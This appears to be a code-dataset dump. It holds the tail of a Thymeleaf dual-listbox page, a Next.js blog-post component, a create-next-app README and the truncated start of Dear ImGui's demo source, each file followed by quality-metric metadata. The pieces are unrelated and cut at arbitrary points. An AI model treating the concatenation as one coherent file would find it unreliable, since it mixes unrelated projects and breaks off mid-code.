th:include="include :: bootstrap-duallistbox-js" /> <script type="text/javascript"> $('.dual_select').bootstrapDualListbox({ nonSelectedListLabel: '未有用户', selectedListLabel: '已有用户', preserveSelectionOnMove: 'moved', moveOnSelect: false, // 出现一个剪头,表示可以一次选择一个 filterTextClear: '展示所有', moveSelectedLabel: "添加", moveAllLabel: '添加所有', removeSelectedLabel: "移除", removeAllLabel: '移除所有', infoText: '共{0}个', showFilterInputs: false, // 是否带搜索 selectorMinimalHeight: 160 }); </script> </body> </html>
2,945
duallistbox
html
en
html
code
{"qsc_code_num_words": 247, "qsc_code_num_chars": 2945.0, "qsc_code_mean_word_length": 5.46963563, "qsc_code_frac_words_unique": 0.51012146, "qsc_code_frac_chars_top_2grams": 0.0977054, "qsc_code_frac_chars_top_3grams": 0.11324944, "qsc_code_frac_chars_top_4grams": 0.04737232, "qsc_code_frac_chars_dupe_5grams": 0.196151, "qsc_code_frac_chars_dupe_6grams": 0.16210215, "qsc_code_frac_chars_dupe_7grams": 0.14655811, "qsc_code_frac_chars_dupe_8grams": 0.08290155, "qsc_code_frac_chars_dupe_9grams": 0.08290155, "qsc_code_frac_chars_dupe_10grams": 0.08290155, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02167712, "qsc_code_frac_chars_whitespace": 0.40475382, "qsc_code_size_file_byte": 2945.0, "qsc_code_num_lines": 65.0, "qsc_code_num_chars_line_max": 205.0, "qsc_code_num_chars_line_mean": 45.30769231, "qsc_code_frac_chars_alphabet": 0.74900171, "qsc_code_frac_chars_comments": 0.00950764, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.109375, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.14226945, "qsc_code_frac_chars_long_word_length": 0.01679808, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.11986418, "qsc_codehtml_num_chars_text": 353.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1weiho/1wei.dev
components/post.tsx
import { Post } from '@/lib/type' import { Tag } from 'lucide-react' import Link from 'next/link' const PostItem = ({ slug, title, description, date, tags }: Post) => { return ( <li className="py-4"> <div className="flex flex-col sm:flex-row sm:items-center sm:justify-between gap-2"> <div> <Link href={`/blog/${slug}`} className="text-black font-semibold hover:underline" > {title} </Link> <p className="text-sm text-gray-500">{description}</p> </div> <div className="flex items-center space-x-4 shrink-0"> <p className="text-xs">{date}</p> <div className="flex flex-wrap gap-2"> {tags?.map((tag, index) => ( <span key={index} className="text-xs bg-amber-100 px-1.5 py-0.5 rounded-lg inline-flex items-center" > <Tag className="h-2.5 w-2.5 mr-1" /> {tag} </span> ))} </div> </div> </div> </li> ) } export default PostItem
1,118
post
tsx
en
tsx
code
{"qsc_code_num_words": 135, "qsc_code_num_chars": 1118.0, "qsc_code_mean_word_length": 4.08148148, "qsc_code_frac_words_unique": 0.5037037, "qsc_code_frac_chars_top_2grams": 0.09437387, "qsc_code_frac_chars_top_3grams": 0.08711434, "qsc_code_frac_chars_top_4grams": 0.07259528, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02747253, "qsc_code_frac_chars_whitespace": 0.34883721, "qsc_code_size_file_byte": 1118.0, "qsc_code_num_lines": 38.0, "qsc_code_num_chars_line_max": 99.0, "qsc_code_num_chars_line_mean": 29.42105263, "qsc_code_frac_chars_alphabet": 0.7293956, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11428571, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.05714286, "qsc_code_frac_chars_string_length": 0.27817531, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1weiho/next-sandbox
apps/test/README.md
This is a [Next.js](https://nextjs.org) project bootstrapped with [`create-next-app`](https://nextjs.org/docs/app/api-reference/cli/create-next-app). ## Getting Started First, run the development server: ```bash npm run dev # or yarn dev # or pnpm dev # or bun dev ``` Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file. This project uses [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) to automatically optimize and load [Geist](https://vercel.com/font), a new font family for Vercel. ## Learn More To learn more about Next.js, take a look at the following resources: - [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. - [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js) - your feedback and contributions are welcome! ## Deploy on Vercel The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. Check out our [Next.js deployment documentation](https://nextjs.org/docs/app/building-your-application/deploying) for more details.
1,450
README
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.18817204, "qsc_doc_num_sentences": 33.0, "qsc_doc_num_words": 237, "qsc_doc_num_chars": 1450.0, "qsc_doc_num_lines": 36.0, "qsc_doc_mean_word_length": 4.62025316, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.46835443, "qsc_doc_entropy_unigram": 4.324699, "qsc_doc_frac_words_all_caps": 0.00268817, "qsc_doc_frac_lines_dupe_lines": 0.13043478, "qsc_doc_frac_chars_dupe_lines": 0.00848656, "qsc_doc_frac_chars_top_2grams": 0.06575342, "qsc_doc_frac_chars_top_3grams": 0.07671233, "qsc_doc_frac_chars_top_4grams": 0.06575342, "qsc_doc_frac_chars_dupe_5grams": 0.17625571, "qsc_doc_frac_chars_dupe_6grams": 0.0803653, "qsc_doc_frac_chars_dupe_7grams": 0.0803653, "qsc_doc_frac_chars_dupe_8grams": 0.0803653, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 19.72857143, "qsc_doc_frac_chars_hyperlink_html_tag": 0.3337931, "qsc_doc_frac_chars_alphabet": 0.84789392, "qsc_doc_frac_chars_digital": 0.00624025, "qsc_doc_frac_chars_whitespace": 0.11586207, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1vrx/cs2int
ImGui DirectX 11 Kiero Hook/ext/imgui/imgui_demo.cpp
// dear imgui, v1.75 WIP // (demo code) // Message to the person tempted to delete this file when integrating Dear ImGui into their code base: // Do NOT remove this file from your project! Think again! It is the most useful reference code that you and other coders // will want to refer to and call. Have the ImGui::ShowDemoWindow() function wired in an always-available debug menu of // your game/app! Removing this file from your project is hindering access to documentation for everyone in your team, // likely leading you to poorer usage of the library. // Everything in this file will be stripped out by the linker if you don't call ImGui::ShowDemoWindow(). // If you want to link core Dear ImGui in your shipped builds but want an easy guarantee that the demo will not be linked, // you can setup your imconfig.h with #define IMGUI_DISABLE_DEMO_WINDOWS and those functions will be empty. // In other situation, whenever you have Dear ImGui available you probably want this to be available for reference. // Thank you, // -Your beloved friend, imgui_demo.cpp (that you won't delete) // Message to beginner C/C++ programmers about the meaning of the 'static' keyword: // In this demo code, we frequently we use 'static' variables inside functions. A static variable persist across calls, so it is // essentially like a global variable but declared inside the scope of the function. We do this as a way to gather code and data // in the same place, to make the demo source code faster to read, faster to write, and smaller in size. // It also happens to be a convenient way of storing simple UI related information as long as your function doesn't need to be // reentrant or used in multiple threads. This might be a pattern you will want to use in your code, but most of the real data // you would be editing is likely going to be stored outside your functions. // The Demo code is this file is designed to be easy to copy-and-paste in into your application! // Because of this: // - We never omit the ImGui:: namespace when calling functions, even though most of our code is already in the same namespace. // - We try to declare static variables in the local scope, as close as possible to the code using them. // - We never use any of the helpers/facilities used internally by dear imgui, unless it has been exposed in the public API (imgui.h). // - We never use maths operators on ImVec2/ImVec4. For other imgui sources files, they are provided by imgui_internal.h w/ IMGUI_DEFINE_MATH_OPERATORS, // for your own sources file they are optional and require you either enable those, either provide your own via IM_VEC2_CLASS_EXTRA in imconfig.h. // Because we don't want to assume anything about your support of maths operators, we don't use them in imgui_demo.cpp. /* Index of this file: // [SECTION] Forward Declarations, Helpers // [SECTION] Demo Window / ShowDemoWindow() // [SECTION] About Window / ShowAboutWindow() // [SECTION] Style Editor / ShowStyleEditor() // [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() // [SECTION] Example App: Debug Console / ShowExampleAppConsole() // [SECTION] Example App: Debug Log / ShowExampleAppLog() // [SECTION] Example App: Simple Layout / ShowExampleAppLayout() // [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() // [SECTION] Example App: Long Text / ShowExampleAppLongText() // [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() // [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() // [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay() // [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles() // [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() // [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() */ #if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) #define _CRT_SECURE_NO_WARNINGS #endif #include "imgui.h" #include <ctype.h> // toupper #include <limits.h> // INT_MIN, INT_MAX #include <math.h> // sqrtf, powf, cosf, sinf, floorf, ceilf #include <stdio.h> // vsnprintf, sscanf, printf #include <stdlib.h> // NULL, malloc, free, atoi #if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier #include <stddef.h> // intptr_t #else #include <stdint.h> // intptr_t #endif #ifdef _MSC_VER #pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen #endif #if defined(__clang__) #pragma clang diagnostic ignored "-Wold-style-cast" // warning : use of old-style cast // yes, they are more terse. #pragma clang diagnostic ignored "-Wdeprecated-declarations" // warning : 'xx' is deprecated: The POSIX name for this item.. // for strdup used in demo code (so user can copy & paste the code) #pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning : cast to 'void *' from smaller integer type 'int' #pragma clang diagnostic ignored "-Wformat-security" // warning : warning: format string is not a string literal #pragma clang diagnostic ignored "-Wexit-time-destructors" // warning : declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals. #pragma clang diagnostic ignored "-Wunused-macros" // warning : warning: macro is not used // we define snprintf/vsnprintf on Windows so they are available, but not always used. #if __has_warning("-Wzero-as-null-pointer-constant") #pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning : zero as null pointer constant // some standard header variations use #define NULL 0 #endif #if __has_warning("-Wdouble-promotion") #pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. #endif #if __has_warning("-Wreserved-id-macro") #pragma clang diagnostic ignored "-Wreserved-id-macro" // warning : macro name is a reserved identifier // #endif #elif defined(__GNUC__) #pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind #pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size #pragma GCC diagnostic ignored "-Wformat-security" // warning : format string is not a string literal (potentially insecure) #pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function #pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value #pragma GCC diagnostic ignored "-Wmisleading-indentation" // [__GNUC__ >= 6] warning: this 'if' clause does not guard this statement // GCC 6.0+ only. See #883 on GitHub. #endif // Play it nice with Windows users. Notepad in 2017 still doesn't display text data with Unix-style \n. #ifdef _WIN32 #define IM_NEWLINE "\r\n" #else #define IM_NEWLINE "\n" #endif #if defined(_MSC_VER) && !defined(snprintf) #define snprintf _snprintf #endif #if defined(_MSC_VER) && !defined(vsnprintf) #define vsnprintf _vsnprintf #endif //----------------------------------------------------------------------------- // [SECTION] Forward Declarations, Helpers //----------------------------------------------------------------------------- #if !defined(IMGUI_DISABLE_DEMO_WINDOWS) // Forward Declarations static void ShowExampleAppDocuments(bool* p_open); static void ShowExampleAppMainMenuBar(); static void ShowExampleAppConsole(bool* p_open); static void ShowExampleAppLog(bool* p_open); static void ShowExampleAppLayout(bool* p_open); static void ShowExampleAppPropertyEditor(bool* p_open); static void ShowExampleAppLongText(bool* p_open); static void ShowExampleAppAutoResize(bool* p_open); static void ShowExampleAppConstrainedResize(bool* p_open); static void ShowExampleAppSimpleOverlay(bool* p_open); static void ShowExampleAppWindowTitles(bool* p_open); static void ShowExampleAppCustomRendering(bool* p_open); static void ShowExampleMenuFile(); // Helper to display a little (?) mark which shows a tooltip when hovered. // In your own code you may want to display an actual icon if you are using a merged icon fonts (see docs/FONTS.txt) static void HelpMarker(const char* desc) { ImGui::TextDisabled("(?)"); if (ImGui::IsItemHovered()) { ImGui::BeginTooltip(); ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f); ImGui::TextUnformatted(desc); ImGui::PopTextWrapPos(); ImGui::EndTooltip(); } } // Helper to display basic user controls. void ImGui::ShowUserGuide() { ImGuiIO& io = ImGui::GetIO(); ImGui::BulletText("Double-click on title bar to collapse window."); ImGui::BulletText("Click and drag on lower corner to resize window\n(double-click to auto fit window to its contents)."); ImGui::BulletText("CTRL+Click on a slider or drag box to input value as text."); ImGui::BulletText("TAB/SHIFT+TAB to cycle through keyboard editable fields."); if (io.FontAllowUserScaling) ImGui::BulletText("CTRL+Mouse Wheel to zoom window contents."); ImGui::BulletText("While inputing text:\n"); ImGui::Indent(); ImGui::BulletText("CTRL+Left/Right to word jump."); ImGui::BulletText("CTRL+A or double-click to select all."); ImGui::BulletText("CTRL+X/C/V to use clipboard cut/copy/paste."); ImGui::BulletText("CTRL+Z,CTRL+Y to undo/redo."); ImGui::BulletText("ESCAPE to revert."); ImGui::BulletText("You can apply arithmetic operators +,*,/ on numerical values.\nUse +- to subtract."); ImGui::Unindent(); ImGui::BulletText("With keyboard navigation enabled:"); ImGui::Indent(); ImGui::BulletText("Arrow keys to navigate."); ImGui::BulletText("Space to activate a widget."); ImGui::BulletText("Return to input text into a widget."); ImGui::BulletText("Escape to deactivate a widget, close popup, exit child window."); ImGui::BulletText("Alt to jump to the menu layer of a window."); ImGui::BulletText("CTRL+Tab to select a window."); ImGui::Unindent(); } //----------------------------------------------------------------------------- // [SECTION] Demo Window / ShowDemoWindow() //----------------------------------------------------------------------------- // - ShowDemoWindowWidgets() // - ShowDemoWindowLayout() // - ShowDemoWindowPopups() // - ShowDemoWindowColumns() // - ShowDemoWindowMisc() //----------------------------------------------------------------------------- // We split the contents of the big ShowDemoWindow() function into smaller functions (because the link time of very large functions grow non-linearly) static void ShowDemoWindowWidgets(); static void ShowDemoWindowLayout(); static void ShowDemoWindowPopups(); static void ShowDemoWindowColumns(); static void ShowDemoWindowMisc(); // Demonstrate most Dear ImGui features (this is big function!) // You may execute this function to experiment with the UI and understand what it does. You may then search for keywords in the code when you are interested by a specific feature. void ImGui::ShowDemoWindow(bool* p_open) { IM_ASSERT(ImGui::GetCurrentContext() != NULL && "Missing dear imgui context. Refer to examples app!"); // Exceptionally add an extra assert here for people confused with initial dear imgui setup // Examples Apps (accessible from the "Examples" menu) static bool show_app_documents = false; static bool show_app_main_menu_bar = false; static bool show_app_console = false; static bool show_app_log = false; static bool show_app_layout = false; static bool show_app_property_editor = false; static bool show_app_long_text = false; static bool show_app_auto_resize = false; static bool show_app_constrained_resize = false; static bool show_app_simple_overlay = false; static bool show_app_window_titles = false; static bool show_app_custom_rendering = false; if (show_app_documents) ShowExampleAppDocuments(&show_app_documents); if (show_app_main_menu_bar) ShowExampleAppMainMenuBar(); if (show_app_console) ShowExampleAppConsole(&show_app_console); if (show_app_log) ShowExampleAppLog(&show_app_log); if (show_app_layout) ShowExampleAppLayout(&show_app_layout); if (show_app_property_editor) ShowExampleAppPropertyEditor(&show_app_property_editor); if (show_app_long_text) ShowExampleAppLongText(&show_app_long_text); if (show_app_auto_resize) ShowExampleAppAutoResize(&show_app_auto_resize); if (show_app_constrained_resize) ShowExampleAppConstrainedResize(&show_app_constrained_resize); if (show_app_simple_overlay) ShowExampleAppSimpleOverlay(&show_app_simple_overlay); if (show_app_window_titles) ShowExampleAppWindowTitles(&show_app_window_titles); if (show_app_custom_rendering) ShowExampleAppCustomRendering(&show_app_custom_rendering); // Dear ImGui Apps (accessible from the "Tools" menu) static bool show_app_metrics = false; static bool show_app_style_editor = false; static bool show_app_about = false; if (show_app_metrics) { ImGui::ShowMetricsWindow(&show_app_metrics); } if (show_app_style_editor) { ImGui::Begin("Style Editor", &show_app_style_editor); ImGui::ShowStyleEditor(); ImGui::End(); } if (show_app_about) { ImGui::ShowAboutWindow(&show_app_about); } // Demonstrate the various window flags. Typically you would just use the default! static bool no_titlebar = false; static bool no_scrollbar = false; static bool no_menu = false; static bool no_move = false; static bool no_resize = false; static bool no_collapse = false; static bool no_close = false; static bool no_nav = false; static bool no_background = false; static bool no_bring_to_front = false; ImGuiWindowFlags window_flags = 0; if (no_titlebar) window_flags |= ImGuiWindowFlags_NoTitleBar; if (no_scrollbar) window_flags |= ImGuiWindowFlags_NoScrollbar; if (!no_menu) window_flags |= ImGuiWindowFlags_MenuBar; if (no_move) window_flags |= ImGuiWindowFlags_NoMove; if (no_resize) window_flags |= ImGuiWindowFlags_NoResize; if (no_collapse) window_flags |= ImGuiWindowFlags_NoCollapse; if (no_nav) window_flags |= ImGuiWindowFlags_NoNav; if (no_background) window_flags |= ImGuiWindowFlags_NoBackground; if (no_bring_to_front) window_flags |= ImGuiWindowFlags_NoBringToFrontOnFocus; if (no_close) p_open = NULL; // Don't pass our bool* to Begin // We specify a default position/size in case there's no data in the .ini file. Typically this isn't required! We only do it to make the Demo applications a little more welcoming. ImGui::SetNextWindowPos(ImVec2(650, 20), ImGuiCond_FirstUseEver); ImGui::SetNextWindowSize(ImVec2(550, 680), ImGuiCond_FirstUseEver); // Main body of the Demo window starts here. if (!ImGui::Begin("Dear ImGui Demo", p_open, window_flags)) { // Early out if the window is collapsed, as an optimization. ImGui::End(); return; } // Most "big" widgets share a common width settings by default. //ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.65f); // Use 2/3 of the space for widgets and 1/3 for labels (default) ImGui::PushItemWidth(ImGui::GetFontSize() * -12); // Use fixed width for labels (by passing a negative value), the rest goes to widgets. We choose a width proportional to our font size. // Menu Bar if (ImGui::BeginMenuBar()) { if (ImGui::BeginMenu("Menu")) { ShowExampleMenuFile(); ImGui::EndMenu(); } if (ImGui::BeginMenu("Examples")) { ImGui::MenuItem("Main menu bar", NULL, &show_app_main_menu_bar); ImGui::MenuItem("Console", NULL, &show_app_console); ImGui::MenuItem("Log", NULL, &show_app_log); ImGui::MenuItem("Simple layout", NULL, &show_app_layout); ImGui::MenuItem("Property editor", NULL, &show_app_property_editor); ImGui::MenuItem("Long text display", NULL, &show_app_long_text); ImGui::MenuItem("Auto-resizing window", NULL, &show_app_auto_resize); ImGui::MenuItem("Constrained-resizing window", NULL, &show_app_constrained_resize); ImGui::MenuItem("Simple overlay", NULL, &show_app_simple_overlay); ImGui::MenuItem("Manipulating window titles", NULL, &show_app_window_titles); ImGui::MenuItem("Custom rendering", NULL, &show_app_custom_rendering); ImGui::MenuItem("Documents", NULL, &show_app_documents); ImGui::EndMenu(); } if (ImGui::BeginMenu("Tools")) { ImGui::MenuItem("Metrics", NULL, &show_app_metrics); ImGui::MenuItem("Style Editor", NULL, &show_app_style_editor); ImGui::MenuItem("About Dear ImGui", NULL, &show_app_about); ImGui::EndMenu(); } ImGui::EndMenuBar(); } ImGui::Text("dear imgui says hello. (%s)", IMGUI_VERSION); ImGui::Spacing(); if (ImGui::CollapsingHeader("Help")) { ImGui::Text("ABOUT THIS DEMO:"); ImGui::BulletText("Sections below are demonstrating many aspects of the library."); ImGui::BulletText("The \"Examples\" menu above leads to more demo contents."); ImGui::BulletText("The \"Tools\" menu above gives access to: About Box, Style Editor,\n" "and Metrics (general purpose Dear ImGui debugging tool)."); ImGui::Separator(); ImGui::Text("PROGRAMMER GUIDE:"); ImGui::BulletText("See the ShowDemoWindow() code in imgui_demo.cpp. <- you are here!"); ImGui::BulletText("See comments in imgui.cpp."); ImGui::BulletText("See example applications in the examples/ folder."); ImGui::BulletText("Read the FAQ at http://www.dearimgui.org/faq/"); ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableKeyboard' for keyboard controls."); ImGui::BulletText("Set 'io.ConfigFlags |= NavEnableGamepad' for gamepad controls."); ImGui::Separator(); ImGui::Text("USER GUIDE:"); ImGui::ShowUserGuide(); } if (ImGui::CollapsingHeader("Configuration")) { ImGuiIO& io = ImGui::GetIO(); if (ImGui::TreeNode("Configuration##2")) { ImGui::CheckboxFlags("io.ConfigFlags: NavEnableKeyboard", (unsigned int *)&io.ConfigFlags, ImGuiConfigFlags_NavEnableKeyboard); ImGui::CheckboxFlags("io.ConfigFlags: NavEnableGamepad", (unsigned int *)&io.ConfigFlags, ImGuiConfigFlags_NavEnableGamepad); ImGui::SameLine(); HelpMarker("Required back-end to feed in gamepad inputs in io.NavInputs[] and set io.BackendFlags |= ImGuiBackendFlags_HasGamepad.\n\nRead instructions in imgui.cpp for details."); ImGui::CheckboxFlags("io.ConfigFlags: NavEnableSetMousePos", (unsigned int *)&io.ConfigFlags, ImGuiConfigFlags_NavEnableSetMousePos); ImGui::SameLine(); HelpMarker("Instruct navigation to move the mouse cursor. See comment for ImGuiConfigFlags_NavEnableSetMousePos."); ImGui::CheckboxFlags("io.ConfigFlags: NoMouse", (unsigned int *)&io.ConfigFlags, ImGuiConfigFlags_NoMouse); if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) // Create a way to restore this flag otherwise we could be stuck completely! { if (fmodf((float)ImGui::GetTime(), 0.40f) < 0.20f) { ImGui::SameLine(); ImGui::Text("<<PRESS SPACE TO DISABLE>>"); } if (ImGui::IsKeyPressed(ImGui::GetKeyIndex(ImGuiKey_Space))) io.ConfigFlags &= ~ImGuiConfigFlags_NoMouse; } ImGui::CheckboxFlags("io.ConfigFlags: NoMouseCursorChange", (unsigned int *)&io.ConfigFlags, ImGuiConfigFlags_NoMouseCursorChange); ImGui::SameLine(); HelpMarker("Instruct back-end to not alter mouse cursor shape and visibility."); ImGui::Checkbox("io.ConfigInputTextCursorBlink", &io.ConfigInputTextCursorBlink); ImGui::SameLine(); HelpMarker("Set to false to disable blinking cursor, for users who consider it distracting"); ImGui::Checkbox("io.ConfigWindowsResizeFromEdges", &io.ConfigWindowsResizeFromEdges); ImGui::SameLine(); HelpMarker("Enable resizing of windows from their edges and from the lower-left corner.\nThis requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback."); ImGui::Checkbox("io.ConfigWindowsMoveFromTitleBarOnly", &io.ConfigWindowsMoveFromTitleBarOnly); ImGui::Checkbox("io.MouseDrawCursor", &io.MouseDrawCursor); ImGui::SameLine(); HelpMarker("Instruct Dear ImGui to render a mouse cursor for you. Note that a mouse cursor rendered via your application GPU rendering path will feel more laggy than hardware cursor, but will be more in sync with your other visuals.\n\nSome desktop applications may use both kinds of cursors (e.g. enable software cursor only when resizing/dragging something)."); ImGui::TreePop(); ImGui::Separator(); } if (ImGui::TreeNode("Backend Flags")) { HelpMarker("Those flags are set by the back-ends (imgui_impl_xxx files) to specify their capabilities.\nHere we expose then as read-only fields to avoid breaking interactions with your back-end."); ImGuiBackendFlags backend_flags = io.BackendFlags; // Make a local copy to avoid modifying actual back-end flags. ImGui::CheckboxFlags("io.BackendFlags: HasGamepad", (unsigned int *)&backend_flags, ImGuiBackendFlags_HasGamepad); ImGui::CheckboxFlags("io.BackendFlags: HasMouseCursors", (unsigned int *)&backend_flags, ImGuiBackendFlags_HasMouseCursors); ImGui::CheckboxFlags("io.BackendFlags: HasSetMousePos", (unsigned int *)&backend_flags, ImGuiBackendFlags_HasSetMousePos); ImGui::CheckboxFlags("io.BackendFlags: RendererHasVtxOffset", (unsigned int *)&backend_flags, ImGuiBackendFlags_RendererHasVtxOffset); ImGui::TreePop(); ImGui::Separator(); } if (ImGui::TreeNode("Style")) { HelpMarker("The same contents can be accessed in 'Tools->Style Editor' or by calling the ShowStyleEditor() function."); ImGui::ShowStyleEditor(); ImGui::TreePop(); ImGui::Separator(); } if (ImGui::TreeNode("Capture/Logging")) { ImGui::TextWrapped("The logging API redirects all text output so you can easily capture the content of a window or a block. Tree nodes can be automatically expanded."); HelpMarker("Try opening any of the contents below in this window and then click one of the \"Log To\" button."); ImGui::LogButtons(); ImGui::TextWrapped("You can also call ImGui::LogText() to output directly to the log without a visual output."); if (ImGui::Button("Copy \"Hello, world!\" to clipboard")) { ImGui::LogToClipboard(); ImGui::LogText("Hello, world!"); ImGui::LogFinish(); } ImGui::TreePop(); } } if (ImGui::CollapsingHeader("Window options")) { ImGui::Checkbox("No titlebar", &no_titlebar); ImGui::SameLine(150); ImGui::Checkbox("No 